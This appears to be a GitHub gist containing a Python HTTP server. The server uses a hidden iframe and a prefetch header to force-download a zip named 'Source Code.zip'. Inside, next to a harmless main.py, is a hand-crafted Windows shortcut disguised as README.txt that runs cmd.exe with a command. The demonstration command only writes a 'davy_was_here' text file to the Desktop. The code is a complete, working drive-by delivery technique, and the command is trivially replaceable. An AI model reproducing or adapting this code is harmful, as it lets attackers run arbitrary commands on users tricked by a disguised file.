Skip to content

Instantly share code, notes, and snippets.

@wybiral
Created February 19, 2022 19:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wybiral/29960f1140bd70c2bffe0c8c4527baf1 to your computer and use it in GitHub Desktop.
Save wybiral/29960f1140bd70c2bffe0c8c4527baf1 to your computer and use it in GitHub Desktop.
import asyncio
import zipfile
from io import BytesIO
async def handler(r, w):
line = await r.readline()
try:
method, path, version = line.split(b' ', 2)
except:
w.close()
return
# consume request
while True:
line = await r.readline()
if not line or line == b'\r\n':
break
# dispatch
if path == b'/':
await handle_index(r, w)
elif path == b'/asset':
await handle_asset(r, w)
w.close()
async def handle_index(r, w):
w.write(b'HTTP/1.1 200 OK\r\n')
w.write(b'Content-Type: text/html; charset=utf-8\r\n')
w.write(b'Link: </asset>; rel=prefetch\r\n')
w.write(b'\r\n')
w.write(b'<iframe style="visibility:hidden" src="/asset"></iframe>')
await w.drain()
async def handle_asset(r, w):
data = b'L\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00F1\x01\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u\x00\x14\x00\x1fP\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d\x1c\x00/C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x001\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00Windows\x00\x17\x001\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00System32\x00\x16\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00cmd.exe\x00\x00\x00\x15\x00%userprofile%\\Desktop9\x00/c "echo https://twitter.com/davywtf > davy_was_here.txt"'
w.write(b'HTTP/1.1 200 OK\r\n')
w.write(b'Content-Type: application/octet-stream\r\n')
w.write(b'Content-Disposition: attachment; filename="Source Code.zip"\r\n')
w.write(b'\r\n')
f = BytesIO()
with zipfile.ZipFile(f, mode='w', compression=zipfile.ZIP_DEFLATED) as zf:
zf.writestr('main.py', b'print("Hello world!")')
zf.writestr('README.txt.lnk', data)
w.write(f.getvalue())
await w.drain()
async def main(host='127.0.0.1', port=8666):
s = await asyncio.start_server(handler, host, port)
print('Serving at http://{}:{}'.format(host, port))
await s.serve_forever()
try:
asyncio.run(main())
except KeyboardInterrupt:
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment